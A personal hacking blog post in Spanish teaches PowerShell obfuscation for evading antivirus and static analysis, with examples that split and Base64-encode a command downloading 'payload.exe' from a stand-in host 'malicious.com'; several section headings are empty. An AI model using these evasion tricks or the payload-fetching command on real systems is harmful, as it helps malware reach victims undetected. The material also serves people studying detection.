Grunt's personal blog

this is my personal blog for my hacking stuff, my degree stuff, etc

View on GitHub

Técnicas de Ofuscación en PowerShell para Evasión de Detección Estática


¿Qué es la Ofuscación en PowerShell?

La ofuscación consiste en alterar un script para hacerlo más difícil de analizar por herramientas de seguridad como antivirus o sistemas de análisis estático, manteniendo su comportamiento original. Esto se logra transformando el código en formas menos reconocibles para firmas predefinidas o heurísticas básicas.


Técnicas de Ofuscación

1. Concatenación de Cadenas

Divide comandos o cadenas en fragmentos que se unen en tiempo de ejecución, evitando que aparezcan palabras clave completas en el código.

2. Codificación de Caracteres

Codifica el script o partes de él, como en Base64, para ocultar su contenido legible.

3. Uso de Variables Aleatorias

Reemplaza nombres de variables o funciones con cadenas generadas aleatoriamente.

4. Inyección de Código Dinámico

Usa Invoke-Expression para ejecutar código generado en tiempo de ejecución, ocultando la lógica principal.

5. Uso de Alias

Sustituye comandos por sus alias para disfrazarlos.

6. Ofuscación de Sintaxis

Aprovecha la flexibilidad de PowerShell para escribir comandos de forma no convencional.


Herramientas Útiles


Ejemplos Prácticos

Concatenación de Cadenas

# Original
Invoke-WebRequest -Uri 'http://malicious.com/payload.exe' -OutFile 'payload.exe'

# Ofuscado
$part1 = 'Invoke-Web'
$part2 = 'Request'
$uri = 'http://' + 'malicious' + '.com/payload.exe'
$out = 'pay' + 'load.exe'
& ($part1 + $part2) -Uri $uri -OutFile $out

Codificación Base64

# Original
Get-Process

# Ofuscado
$encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes('Get-Process'))
powershell -EncodedCommand $encoded

Variables Aleatorias

# Original
$url = 'http://malicious.com'
Invoke-WebRequest -Uri $url

# Ofuscado
$z9m4q1 = 'http://malicious.com'
Invoke-WebRequest -Uri $z9m4q1

Consideraciones Importantes


Recursos Adicionales